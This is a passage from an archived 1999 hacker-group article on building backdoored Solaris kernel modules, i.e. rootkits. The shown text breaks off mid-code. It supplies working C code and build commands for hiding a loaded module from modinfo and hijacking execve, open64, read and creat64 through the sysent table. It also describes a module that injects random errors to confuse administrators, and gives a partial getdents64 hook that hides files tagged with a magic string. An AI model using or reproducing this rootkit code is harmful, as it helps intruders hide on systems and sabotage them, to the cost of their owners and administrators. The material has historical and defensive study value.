added unreleased README
[oweals/thc-archive.git] / Papers / slkm-1.0.html
1 <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
2 <html>
3 <head>
4    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
5    <meta name="GENERATOR" content="Mozilla/4.6 [en] (X11; I; SunOS 5.7 i86pc) [Netscape]">
6 </head>
7 <body text="#000000" bgcolor="#FFFFFF" link="#0000EF" vlink="#51188E" alink="#FF0000">
8 &nbsp;
9 <br>&nbsp;
10 <center><table COLS=1 WIDTH="100%" NOSAVE >
11 <tr NOSAVE>
12 <td NOSAVE>
13 <center><font size=+3>Solaris Loadable Kernel Modules</font>
14 <br><i>"Attacking Solaris with loadable kernel modules" - </i>Version 1.0&nbsp;
15 (c) 1999
16 <p>Author: Plasmoid &lt;<a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>>
17 / THC
18 <br>Sources: <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
19 (flkm.c, anm.c, sitf0.1.c, sitf02.c)
20 <br>The Hacker's Choice Website: <a href="http://www.thc.org/">http://www.thc.org/</a></center>
21
22 <p><br>
23 <br>
24 <br>
25 <br>
26 <br>
27 <p><font size=+1>Content</font>
28 <ol>1&nbsp;&nbsp; Introduction
29 <br>2&nbsp;&nbsp; (Un)Loading of kernel modules
30 <br>3&nbsp;&nbsp; Basic structure of kernel modules under Solaris
31 <ol>3.1&nbsp;&nbsp; Standard headers and structs
32 <br>3.2&nbsp;&nbsp; Hiding the module
33 <br>3.3&nbsp;&nbsp; _init(), _fini() and _info() calls
34 <br>3.4&nbsp;&nbsp; Compiling and linking modules
35 <br>--->&nbsp;&nbsp; Module: flkm.c</ol>
36 4&nbsp;&nbsp; Redirecting syscalls and managing memory
37 <ol>4.1&nbsp;&nbsp; Syscalls under Solaris
38 <br>4.2&nbsp;&nbsp; Generating errno messages
39 <br>4.3&nbsp;&nbsp; Allocating kernel memory
40 <br>--->&nbsp;&nbsp; Module: anm.c</ol>
41 5&nbsp;&nbsp; Implementing the common backdoors
42 <ol>5.1&nbsp;&nbsp; Hiding files from getdents64()
43 <br>5.2&nbsp;&nbsp; Hiding directories and file content
44 <br>5.3&nbsp;&nbsp; Generating a remote switch
45 <br>5.4&nbsp;&nbsp; Hiding processes (proc file system approach)
46 <br>--->&nbsp;&nbsp; Module: sitf0.1.c&nbsp;
47 <br>5.5&nbsp;&nbsp; Redirecting an execve() call
48 <br>5.6&nbsp;&nbsp; Hiding processes (structured proc approach)
49 <br>--->&nbsp;&nbsp; Module: sitf0.2.c</ol>
50 6&nbsp;&nbsp; Future plans
51 <br>7&nbsp;&nbsp; Closing words</ol>
52
53 <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
54 <br>&nbsp;
55 <p><font size=+1>1&nbsp;&nbsp; Introduction</font>
56 <blockquote>Loadable kernel modules represent an important part of the
57 kernel architecture. They provide an interface to hardware devices and
58 data within the kernel memory. Most Unix systems enforce the usage of loadable
59 kernel modules in order to offer maximum interaction with the peripherials
60 and the kernel.&nbsp;
61 <br>Due to those features, kernel modules have gained the interest of intruders,
62 since they affect the operating system at the basic level and guarantee
63 an efficient and hard to detect way to manipulate the system. In the past
64 years loadable kernel modules including backdoors have been published for
65 Unix systems such as Linux and FreeBSD. This article describes the technologies
66 used to develop backdoored modules for the operating system Solaris 2.7
67 (Sparc/Intel).
68 <br>The modules conributed with this article have not been tested on Solaris
69 2.6 (Sparc), if you are interested
70 in testing these modules, please contact <a href="mailto:plasmoid@pimmel.com">me</a>.
71 <br>Eventhough most sources listed in this article haven been tested on
72 several computers running Solaris 2.7 (Ultra Sparc/Sparc/x86) and
73 Solaris 2.6 (Ultra Sparc), they might crash or even destroy
74 your system, therefore use all modules from the <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
75 tarball with care. The modules have not been tested using Sun's C Compiler,
76 instead we used the free Gnu C Compiler - available from <a href="http://www.sunfreeware.com/">sunfreeware.com</a>.
77 <br>This article and its sources are designed for educational puroses only,
78 I strongly advise you not to use any modules provided with this article
79 on systems you do not own or aren't allowed to manipulate.</blockquote>
80
81 <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
82 <br>&nbsp;
83 <p><font size=+1>2&nbsp;&nbsp; (Un)Loading of kernel modules</font>
84 <blockquote>Most parts of Solaris' functionality are realized using kernel
85 modules (e.g. ip/tcp, scsi, ufs), tools from other vendors or authors use
86 this mechanism too (e.g. ipf, pppd, oss), you can get a list of all loaded
87 and (in)active modules by using the command <tt>/usr/sbin/modinfo.</tt>
88 <blockquote><tt># modinfo</tt>
89 <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
90 <br><tt>&nbsp; 4 fe8c6000&nbsp;&nbsp; 313e&nbsp;&nbsp; 1&nbsp;&nbsp; 1&nbsp;
91 specfs (filesystem for specfs)</tt>
92 <br><tt>&nbsp; 6 fe8ca414&nbsp;&nbsp; 2258&nbsp;&nbsp; 1&nbsp;&nbsp; 1&nbsp;
93 TS (time sharing sched class)</tt>
94 <br><tt>&nbsp; 7 fe8cc228&nbsp;&nbsp;&nbsp; 4a2&nbsp;&nbsp; -&nbsp;&nbsp;
95 1&nbsp; TS_DPTBL (Time sharing dispatch table)</tt>
96 <br><tt>&nbsp; 8 fe8cc27c&nbsp;&nbsp;&nbsp; 194&nbsp;&nbsp; -&nbsp;&nbsp;
97 1&nbsp; pci_autoconfig (PCI BIOS interface)</tt>
98 <br><tt>#</tt></blockquote>
99 <tt>Id</tt> is the module-id, <tt>Loadaddr </tt>is the starting text address
100 in hexadecimal, <tt>Size</tt> is the size of text, data, and bss in hexadecimal
101 bytes, <tt>Info</tt> is module specific information, <tt>Rev</tt> is the
102 revision of the loadable modules system, and<tt> Module Name</tt> is the
103 filename and description of the module.&nbsp;
104 <br>Device driver or pseudo device driver modules include an <tt>Info</tt>
105 number, modules which do not communicate with a device do not include this
106 information. These modules are declared as "misc" (<tt>&amp;mod_miscops</tt>)
107 modules. Since we are developing a kernel module for an attacking approach,
108 we will later generate such a miscellaneous module.
109 <p>In order to load or unload kernel modules, you can use the two commands
110 <tt>/usr/sbin/modload
111 </tt>and<tt>
112 /usr/sbin/modunload. </tt>Modload's command line is the name of a module
113 and modunload's command line "<tt>-i ID</tt>" the <tt>Id </tt>of a loaded
114 module (see modinfo above.).&nbsp;
115 <blockquote><tt># modinfo -i 125</tt>
116 <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
117 <br><tt>125 fe95959c&nbsp;&nbsp;&nbsp; 125&nbsp;&nbsp; -&nbsp;&nbsp; 1&nbsp;
118 flkm (First Loadable Kernel Module)</tt>
119 <br><tt># modunload -i 125</tt></blockquote>
120 Solaris includes a lot of good man pages dealing with kernel modules, (un)loading,
121 information and even programming. You should take a look at those, but
122 don't get confused the example code within "man _init" compiles but does
123 not load. If you have access to Solaris' AnswerBook2 take a look at the
124 sections describing the development of device drivers.</blockquote>
125
126 <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
127 <br>&nbsp;
128 <p><font size=+1>3&nbsp;&nbsp; Basic structure of kernel modules under
129 Solaris</font>
130 <blockquote>Kernel modules under Solaris need a lot of definied variables
131 in order to get loaded into the system, this is a major difference to Linux
132 kernel modules that can easily be created by just using an <tt>init_module()
133 </tt>and
134 <tt>cleanup_module()</tt>
135 call. Take a look at pragmatic's articles about kernel modules for <a href="LKM_HACKING.html">Linux</a>
136 and <a href="bsdkern.html">FreeBSD</a>.</blockquote>
137 <font size=+1>3.1&nbsp;&nbsp; Standard headers and structs</font>
138 <blockquote>Eventhough we don't want to develop a device driver module,
139 we have to include the DDI, SunDDI and the modctl headers that provide
140 us with structs as <tt>modlinkage</tt> and <tt>mod_ops</tt>. The first
141 lines of a module look like this:
142 <blockquote><tt>#include &lt;sys/ddi.h></tt>
143 <br><tt>#include &lt;sys/sunddi.h></tt>
144 <p><tt>/*</tt>
145 <br><tt>&nbsp;* This is the loadable module wrapper.</tt>
146 <br><tt>&nbsp;*/</tt>
147 <br><tt>#include &lt;sys/modctl.h></tt>
148 <p><tt>extern struct mod_ops mod_miscops;</tt>
149 <p><tt>/*</tt>
150 <br><tt>&nbsp;* Module linkage information for the kernel.</tt>
151 <br><tt>&nbsp;*/</tt>
152 <br><tt>static struct modlmisc modlmisc = {</tt>
153 <br><tt>&nbsp;&nbsp;&nbsp; &amp;mod_miscops,</tt>
154 <br><tt>&nbsp;&nbsp;&nbsp; "First Loadable Kernel Module",</tt>
155 <br><tt>};</tt>
156 <p><tt>static struct modlinkage modlinkage = {</tt>
157 <br><tt>&nbsp;&nbsp;&nbsp; MODREV_1,</tt>
158 <br><tt>&nbsp;&nbsp;&nbsp; (void *)&amp;modlmisc,</tt>
159 <br><tt>&nbsp;&nbsp;&nbsp; NULL</tt>
160 <br><tt>};</tt></blockquote>
161 As you can see, we include some external structs into the module and define
162 the name of the kernel module inside the <tt>modlmisc</tt> struct. The
163 <tt>modlinkage</tt>
164 struct references <tt>modlmisc</tt> and tells the kernel that this is not
165 a device driver module and that no info flag is displayed by <tt>modinfo</tt>.
166 If you want to go into the details of these structs and maybe develop device
167 or pseudo device driver module, take a look at the following man pages:
168 modldrv(9S), modlinkage(9S) and modlstrmod(9S). If you just want to understand
169 the backdoored modules in this article, simply read on.</blockquote>
170 <font size=+1>3.2&nbsp;&nbsp; Hiding the module</font>
171 <blockquote>If we change the name of the kernel module to an empty string
172 ("") in the <tt>modlmisc</tt> struct, <tt>modinfo</tt> will not display
173 the module, eventhough it is loaded and its <tt>Id</tt> is reserved. This
174 is a useful feature for hiding the module and the module can still be unloaded
175 if you know its Id. Grabbing this <tt>Id</tt> is simple, if you take a
176 look at the modules <tt>Id</tt>s before loading the module and later after
177 some other modules have been loaded.
178 <blockquote><tt># modinfo</tt>
179 <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
180 <br>[...]
181 <br><tt>122 fe9748e8&nbsp;&nbsp;&nbsp; e08&nbsp; 13&nbsp;&nbsp; 1&nbsp;
182 ptem (pty hardware emulator)</tt>
183 <br><tt>123 fe983fd8&nbsp;&nbsp;&nbsp; 1c0&nbsp; 14&nbsp;&nbsp; 1&nbsp;
184 redirmod (redirection module)</tt>
185 <br><tt>124 fe9f60a4&nbsp;&nbsp;&nbsp; cfc&nbsp; 15&nbsp;&nbsp; 1&nbsp;
186 bufmod (streams buffer mod)</tt>
187 <br><tt># modload flkm</tt>
188 <br>&nbsp;
189 <p><tt># modinfo</tt>
190 <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
191 <br>[...]
192 <br><tt>122 fe9748e8&nbsp;&nbsp;&nbsp; e08&nbsp; 13&nbsp;&nbsp; 1&nbsp;
193 ptem (pty hardware emulator)</tt>
194 <br><tt>123 fe983fd8&nbsp;&nbsp;&nbsp; 1c0&nbsp; 14&nbsp;&nbsp; 1&nbsp;
195 redirmod (redirection module)</tt>
196 <br><tt>124 fe9f60a4&nbsp;&nbsp;&nbsp; cfc&nbsp; 15&nbsp;&nbsp; 1&nbsp;
197 bufmod (streams buffer mod)</tt>
198 <br><tt>126 fe9f8e5c&nbsp;&nbsp; 8e3c&nbsp; 13&nbsp;&nbsp; 1&nbsp; pcfs
199 (filesystem for PC)</tt>
200 <br><tt>127 fea018d4&nbsp;&nbsp; 19e1&nbsp;&nbsp; -&nbsp;&nbsp; 1&nbsp;
201 diaudio (Generic Audio)</tt>
202 <br><tt>128 fe94aed0&nbsp;&nbsp;&nbsp; 5e3&nbsp; 72&nbsp;&nbsp; 1&nbsp;
203 ksyms (kernel symbols driver)</tt>
204 <br>&nbsp;</blockquote>
205 </blockquote>
206
207 <blockquote>As you can see the <tt>Id 125</tt> is obviously not reserved
208 and we loaded our kernel module into the memory with no name string in
209 the <tt>modlmisc</tt> struct. If we want to unload it now, we can easily
210 do this by unloading the <tt>Id 125</tt>. Those unreserved <tt>Id</tt>s
211 can be found in a <tt>modinfo</tt> listing at different places, but due
212 to the fact that <tt>modunload</tt> won't return an error if you try to
213 unload a non existing module, nobody can detect our module by using <tt>modinfo</tt>
214 or <tt>modunload</tt>. The second version of this article will include
215 mechanisms to completely protect a module from being listed and unloaded.
216 This can only be done by patching the Solaris module ksyms that lists and
217 manages all kernel symbols. Even if this protection leaving the module's
218 name blank is weak, it will fit your needs, if the system administrator
219 is not a real system programmer.</blockquote>
220 <font size=+1>3.3&nbsp;&nbsp; _init(), _fini() and _info() calls</font>
221 <blockquote>A kernel module under Solaris must include at least the following
222 three functions: <tt>_init()</tt>, <tt>_fini()</tt> and <tt>_info()</tt>.
223 <tt>_init()
224 </tt>initializes
225 a loadable module, it is called before any other routine in a loadable
226 module. Within an <tt>_init()</tt> call you need to call another function
227 called <tt>mod_install()</tt> that takes the <tt>modlinkage</tt> struct
228 as an argument. <tt>_init()</tt> returns the value returned by mod_install().
229 The returned value should be interpreted in order to catch errors while
230 loading the module.
231 <blockquote><tt>int _init(void)</tt>
232 <br><tt>{</tt>
233 <br><tt>&nbsp;&nbsp;&nbsp; int i;</tt>
234 <p><tt>&nbsp;&nbsp;&nbsp; if ((i = mod_install(&amp;modlinkage)) != 0)</tt>
235 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"Could
236 not install module\n");</tt>
237 <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
238 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"flkm:
239 successfully installed");</tt>
240 <p><tt>&nbsp;&nbsp;&nbsp; return i;</tt>
241 <br><tt>}</tt></blockquote>
242 The <tt>_info()</tt> function returns information about a loadable module,
243 within this function the call <tt>mod_info() </tt>has to be made. If we
244 use an empty name in the <tt>modinfo</tt> struct <tt>mod_info()</tt> will
245 return no information to <tt>/usr/sbin/modinfo</tt>.&nbsp;
246 <blockquote><tt>int _info(struct modinfo *modinfop)</tt>
247 <br><tt>{</tt>
248 <br><tt>&nbsp;&nbsp;&nbsp; return (mod_info(&amp;modlinkage, modinfop));</tt>
249 <br><tt>}</tt></blockquote>
250 <tt>_fini()</tt> prepares a loadable module for unloading. It is called
251 when the system wants to unload a module. Within <tt>_fini() </tt>a call
252 to<tt> mod_remove()</tt> has to be placed. It is also wise to catch the
253 return values in order to report errors while unloading the module.
254 <blockquote><tt>int _fini(void)</tt>
255 <br><tt>{</tt>
256 <br><tt>&nbsp;&nbsp;&nbsp; int i;</tt>
257 <p><tt>&nbsp;&nbsp;&nbsp; if ((i = mod_remove(&amp;modlinkage)) != 0)</tt>
258 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"Could
259 not remove module\n");</tt>
260 <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
261 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"flkm:
262 successfully removed");</tt>
263 <p><tt>&nbsp;&nbsp;&nbsp; return i;</tt>
264 <br><tt>}</tt></blockquote>
265 A good documentation about these calls can be found in the following Solaris
266 man pages: <tt>_info(9E)</tt> and <tt>mod_install(9F)</tt>. If you are
267 calling <tt>cmn_err()</tt> with <tt>CE_NOTE</tt> as level from a running
268 module the output will be printed to your syslogd as a notice. <tt>cmn_err()</tt>
269 is function to output information from kernel memory, it can also be used
270 to set run levels if you are debugging your module.</blockquote>
271 <font size=+1>3.4 Compiling and linking modules</font>
272 <blockquote>Compiling a module is very simple, all you need to set are
273 some definitions that tell the included code this will be a kernel module
274 and not a normal executable. You should always link your module's object
275 file with the "-r" option otherwise the module will not load, because
276 the kernel module linker will not be able to link the module.
277 <blockquote><tt>gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c</tt>
278 <br><tt>ld -o flkm -r flkm.o</tt></blockquote>
279 The Solaris kernel does not include as many standard C function as the
280 Linux kernel, if you want to use some of those standard libC functions,
281 extract them from the libc.a archive in /lib and link them to your module
282 using the <tt>ar</tt> command. If you are one of those lucky guys owning
283 the Solaris 2.7 source and knowing where to find what you are looking for
284 inside the weird source of Solaris, include the original source of the
285 extracted objects.
286 <blockquote><tt>ar -x /lib/libc.a memmove.o memcpy.o strstr.o</tt>
287 <br><tt>ld -o flkm -r flkm.o memmove.o memcpy.o strstr.o</tt></blockquote>
288 In my examples I included a switch called <tt>DEBUG</tt>, this switch will
289 activate a lot of debug outputs, if you are one of those nasty hackers
290 don't forget to undefine <tt>DEBUG</tt> in the code or configure the Makefile.
291 <tt>DEBUG
292 </tt>is
293 a very common definition if working with kernel modules, there are some
294 kernel functions that might help you debugging, e.g. <tt>ASSERT()</tt>.</blockquote>
295 <font size=+1>-->&nbsp;&nbsp; Module: flkm.c</font>
296 <blockquote>The Module flkm.c (First Loadable Kernel Module) from the package
297 <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
298 demonstrates the techniques described in sections 3.1-3.4 and represents
299 an empty working module that should be easily loadable into the kernel.</blockquote>
300
301 <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
302 <br>&nbsp;
303 <p><font size=+2>4&nbsp;&nbsp; </font><font size=+1>Redirecting syscalls
304 and managing memory</font>
305 <blockquote>Redirecting syscalls is one of the important things if you
306 write backdoored kernel modules, instead of developing your own functions,
307 you redirect the common syscalls to your fake syscalls that will do what
308 ever you want. If you want to get an idea of what can be done using faked
309 syscalls take a look at pragmatic's article at <a href="http://www.thc.org/">www.thc.org</a>.&nbsp;</blockquote>
310 <font size=+2>4.1&nbsp;&nbsp; </font><font size=+1>Syscalls under Solaris</font>
311 <blockquote>Syscalls under Solaris are stored in an array <tt>sysent[]
312 </tt>each
313 entry is a structure that hold information about a syscall. The values
314 for all syscalls can be found in the file <tt>/usr/include/sys/syscall.h</tt>.
315 If you take a closer look at the list of syscalls, you will recognize that
316 there are some major differences to the Linux syscall header file. So be
317 careful if you try to port a Linux kernel module to Solaris.&nbsp;
318 <br>The syscalls
319 <tt>open()</tt>,
320 <tt>creat()</tt>, etc are not used for
321 filesystem functions, instead the following calls are used
322 <tt>open64()</tt>,
323 <tt>creat64()</tt>,
324 etc. Before you try to redirect a syscall under Solaris use the tool <tt>/usr/bin/truss</tt>
325 to trace the syscalls of the programm that uses your syscalls, e.g. <tt>ps</tt>
326 uses the <tt>open() </tt>call to check the files inside the proc tree while
327 <tt>cat</tt>
328 uses the <tt>open64()
329 </tt>to open a file from the filesystems even if
330 it is within the proc tree. Let's look at some example code:
331 <blockquote><tt>int (*oldexecve) (const char *, const char *[], const char
332 *[]);</tt>
333 <br><tt>int (*oldopen64) (const char *path, int oflag, mode_t mode);</tt>
334 <br><tt>int (*oldread) (int fildes, void *buf, size_t nbyte);</tt>
335 <br><tt>int (*oldcreat64) (const char *path, mode_t mode);</tt>
336 <br>[...]
337 <p><tt>int newcreat64(const char *path, mode_t mode)&nbsp;</tt>
338 <br><tt>{</tt>
339 <br>[...]
340 <p><tt>int _init(void)</tt>
341 <br><tt>{</tt>
342 <br><tt>&nbsp;&nbsp;&nbsp; int i;</tt>
343 <p><tt>&nbsp;&nbsp;&nbsp; if ((i = mod_install(&amp;modlinkage)) != 0)</tt>
344 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"Could
345 not install module\n");</tt>
346 <br><tt>#ifdef DEBUG</tt>
347 <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
348 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"anm:
349 successfully installed");</tt>
350 <br><tt>#endif</tt>
351 <p><tt>&nbsp;&nbsp;&nbsp; oldexecve = (void *) sysent[SYS_execve].sy_callc;</tt>
352 <br><tt>&nbsp;&nbsp;&nbsp; oldopen64 = (void *) sysent[SYS_open64].sy_callc;</tt>
353 <br><tt>&nbsp;&nbsp;&nbsp; oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;</tt>
354 <br><tt>&nbsp;&nbsp;&nbsp; oldread = (void *) sysent[SYS_read].sy_callc;</tt>
355 <p><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_execve].sy_callc = (void *) newexecve;</tt>
356 <br><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_open64].sy_callc = (void *) newopen64;</tt>
357 <br><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_creat64].sy_callc = (void *) newcreat64;</tt>
358 <br><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_read].sy_callc = (void *) newread;</tt>
359 <p><tt>&nbsp;&nbsp;&nbsp; return i;</tt>
360 <br><tt>}</tt></blockquote>
361 This is an _init() call described in 3.3, after initializing the module
362 we copy the pointers of the old syscalls that are stored in the member
363 <tt>.sy_callc
364 </tt>to
365 some pointers we defined at the top of our module. This is done exactly
366 as with all Linux kernel modules.
367 <br>After we have saved the old pointers we copy pointers of our new syscalls
368 (in this case: <tt>int newcreat64(const char *path,mode_t mode</tt>) to
369 the pointers in the <tt>sysent[] </tt>array<tt>.</tt></blockquote>
370 <font size=+1>4.2&nbsp;&nbsp; Generating errno messages</font>
371 <blockquote>I have seen some loadable kernel modules that generate error
372 message a way that wont work under Solaris, the so called error numbers
373 listed in <tt>/usr/include/sys/errno.h</tt> should not be returned by function
374 using the following code:
375 <blockquote><tt>return -ENOENT;</tt></blockquote>
376 Eventhough this code will work since a negative value is returned it does
377 not tell Solaris what kind of error appeared, instead the following code
378 using the syscall <tt>set_errno()</tt> is the correct solution.
379 <blockquote><tt>set_errno(ENOENT);</tt>
380 <br><tt>return -1;</tt></blockquote>
381 You really should tell your operating system what is going wrong even if
382 you produce a fake error message.&nbsp;</blockquote>
383 <font size=+1>4.3&nbsp;&nbsp; Allocating kernel memory</font>
384 <blockquote>When working inside the kernel, you cannot allocate memory
385 using the function <tt>alloc()</tt> or <tt>malloc()</tt> due to the fact
386 that the kernel memory is strictly seperated from the user memory. Solaris
387 provides to function for allocating and freeing kernel memory.
388 <blockquote><tt>name = (char *) kmem_alloc(size, KM_SLEEP);</tt></blockquote>
389 <tt>kmem_alloc()</tt> allocates <tt>size</tt> bytes of kernel memory and
390 returns a pointer to the allocated memory. The allocated memory is at least
391 double-word aligned, so it can hold any C data structure. No greater alignment
392 can be assumed. The second parameter determines whether the caller can
393 sleep for memory. <tt>KM_SLEEP</tt> allocations may sleep but are guaranteed
394 to succeed. <tt>KM_NOSLEEP</tt> allocations are guaranteed not to sleep
395 but&nbsp; may fail&nbsp; (return <tt>NULL</tt>) if no memory is currently
396 available. <tt>KM_NOSLEEP</tt> using <tt>kmem_alloc()</tt> should only be
397 used from interrupt context, it should not be called otherwise.  
398 The initial contents of memory allocated using <tt>kmem_alloc()
399 </tt>are
400 random garbage.
401 <br>The allocated kernel memory has to be freed using the function <tt>kmem_free(size)</tt>,
402 while size is the size of the allocated memory. Be careful, if you are
403 freeing more memory as you allocated major problems will occur, since unwanted
404 parts of the kernel get freed.
405 <p>As I started coding this module I didn't care about the transfer between
406 user and kernel memory. On Solaris 2.7 (x86) a <tt>memcpy()</tt> successfully
407 solved this task and there was no need for special commands. But on Solaris
408 (Sparc) this lousy way of transfering data didn't work at all. For a proper
409 transfer use the functions<tt> copyin() </tt>and<tt> copyout()</tt> that
410 provide a way to transfer data from kernel memory (device module memory)
411 and user memory.&nbsp;
412 <br>If you want to copy null-terminated strings from userspace to kernel
413 memory use the command <tt>copyinstr()</tt>, that has the following
414 prototype
415 <tt>copyinstr(char *src, char *dst, size_t length, size_t size)</tt>. <tt>length</tt>
416 describes how many bytes to read while <tt>size</tt> is the value of actually
417 read bytes.
418 <br>A complete description of these functions can be found in the following
419 Solaris man pages: kmem_alloc(9F), copyin(9F) and copyout(9F). Here is
420 a small example:
421 <blockquote><tt>&nbsp;&nbsp;&nbsp; name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
422 <br><tt>&nbsp;&nbsp;&nbsp; copyin(filename, name, 256);</tt>
423 <br><tt>&nbsp;&nbsp;&nbsp; if (!strcmp(name, (char *) oldcmd)) {</tt>
424 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyout((char *) newcmd,
425 (char *) filename, strlen(newcmd) + 1);</tt>
426 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"sitf:
427 executing %s instead of %s", newcmd, name);</tt>
428 <br><tt>&nbsp;&nbsp;&nbsp; }</tt></blockquote>
429 If you don't need to allocate kernel memory, e.g. if you are just comparing
430 some values, you might use also the <tt>memcpy()</tt> function, but be
431 adviced memcpy doesnot work on Ultra Sparc. Use <tt>copyinstr()</tt> in
432 order to copy null terminated strings to kernel memory where you can compare
433 them. copyinstr(char *src, char *dst, size_t n, size_t n)</blockquote>
434 <font size=+1>-->&nbsp;&nbsp; Module: anm.c</font>
435 <blockquote>As an example I included the module anm.c (Administrator's
436 NightMare) from the package
437 <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>,
438 this is not a very intelligent module - instead of backdooring the system,
439 this module randomly generates system errors on the following syscalls:
440 <tt>execve(),open64()</tt>
441 and <tt>read()</tt>. The period of the random errors can be set with these
442 three variables:
443 <blockquote><tt>int open_rate = 200;</tt>
444 <br><tt>int read_rate = 8000;</tt>
445 <br><tt>int exec_rate = 400;</tt></blockquote>
446 The values have been tested on a client station. The system behaves quite
447 normal, but from time to time a small error appears that won't interest
448 an admin. The system will just look like one of those badly configured
449 cheap Solaris (but actually it isn't).&nbsp;
450 <br>To activate or deactivate the errors I developed a switching mechanism,
451 I will explain the technique later in 5.3, first of all here is the usage
452 from the command line when the module is loaded.
453 <blockquote><tt>touch my_stupid_key</tt></blockquote>
454 This command enables or disables the functions of the anm.c module, if
455 you used the correct key that has been defined inside the module you will
456 get an error message instead of a touched "my_stupid_key" file.&nbsp;</blockquote>
457
458 <hr SIZE=1 NOSHADE WIDTH="100%">
459 <br>&nbsp;
460 <p><font size=+1>5&nbsp;&nbsp; Implementing the common backdoors</font>
461 <blockquote>Most ideas of the backdoors I implemented have been taken from
462 plaguez's itf.c module and the article written by pragmatic (see 7 References),
463 some of them could be implemented as they are, other routines had to be
464 rewritten and some had to be coded from scratch.
465 <br>If you take a look at the modules sitf0.1.c and sitf0.2.c from the
466 package <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
467 you will find backdoors that are not described in this article, these function
468 could be ported without any problem from Linux or FreeBSD modules. I think
469 they have been documented in several other articles already.</blockquote>
470 <font size=+1>5.1&nbsp;&nbsp; Hiding files from getdents64()</font>
471 <blockquote>If you trace through commands as <tt>ls</tt> or <tt>du</tt>
472 you will find out that Solaris systems use the <tt>getdents64()</tt> syscall
473 to retrieve information about the content of a directory therefore I took
474 a closer look at plaguez's implementation of a faked <tt>getdents() </tt>syscall
475 hiding files from being listed.
476 <br>While playing with his code I discovered that getting the entries from
477 <tt>getdents64()</tt>
478 is easier as on Linux, it is not necessary to care about user- and kernelsparce
479 (well, I know this isn't a proper approach, but who cares), I simply modified
480 his code to work with <tt>getdents64()</tt> and the <tt>dirent64</tt> entries
481 used <tt>copyin()</tt> and <tt>copyout()</tt> (see 4.3 Allocation kernel
482 memory). The
483 <tt>getdents64()</tt> syscall and its structs are documented
484 inside the Solaris man pages, take a look at the following pages: getdent(2),
485 dirent(4), but keep in mind that you have to use the 64bit variants, just
486 read the header file
487 <tt>/usr/include/sys/dirent.h</tt> and you will find
488 what you are looking for. A final version of a faked <tt>getdents64() </tt>syscall
489 looks like that:
490 <blockquote><tt>#define MAGIC&nbsp;&nbsp; "CHT.THC"</tt>
491 <br><tt>char magic[] = MAGIC;</tt>
492 <p>[...]
493 <p><tt>int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)</tt>
494 <br><tt>{</tt>
495 <br><tt>&nbsp;&nbsp;&nbsp; int ret, oldret, i, reclen;</tt>
496 <br><tt>&nbsp;&nbsp;&nbsp; struct dirent64 *buf2, *buf3;&nbsp;</tt>
497 <p><tt>&nbsp;&nbsp;&nbsp; oldret = (*oldgetdents64) (fildes, buf, nbyte);</tt>
498 <br><tt>&nbsp;&nbsp;&nbsp; ret = oldret;</tt>
499 <p><tt>&nbsp;&nbsp;&nbsp; if (ret > 0) {&nbsp;</tt>
500 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf2 = (struct dirent64
501 *) kmem_alloc(ret, KM_SLEEP);</tt>
502 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyin((char *) buf,
503 (char *) buf2, ret);</tt>
504 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf3 = buf2;&nbsp;</tt>
505 <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i = ret;</tt>
506 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (i > 0) {</tt>
507 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
508 reclen = buf3->d_reclen;</tt>
509 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
510 i -= reclen;</tt>
